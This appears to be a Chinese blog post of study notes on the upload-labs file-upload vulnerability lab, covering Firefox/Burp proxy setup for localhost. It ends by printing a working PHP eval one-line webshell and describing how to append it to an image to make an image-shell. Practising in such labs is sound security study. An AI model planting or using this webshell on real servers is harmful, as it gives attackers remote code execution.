https://notwiner.top
练习了upload-labs,WriteUp不写了,全网满天飞,记录学到的东西。_
上面为绕过方法,下面为php防范伪代码。
准备工作
准备好火狐和burp,安装不再赘述,提几个容易出错的地方。
代理问题
- 火狐现阶段新版加入了本地代理不经过系统代理的规则,所以使用upload-labs容易burp抓不到127.0.0.1和localhost的包。
解决方法:进入about:config
的页面,搜索network.proxy.allow-hijacking_localhost
改为True即可,(记得改火狐本地代理和windows系统代理)
- 如果事先准备好了phpstudy,为了方便,建议检查文件上传是否成功找
upload-labs\WWW\upload
路径下的文件确认。
一句话
- 一句话绕过语句
<?php eval(@$_POST['a']); ?>
。 - 一句话图片马,使用HxD或者命令将一句话填充至一个图片末尾。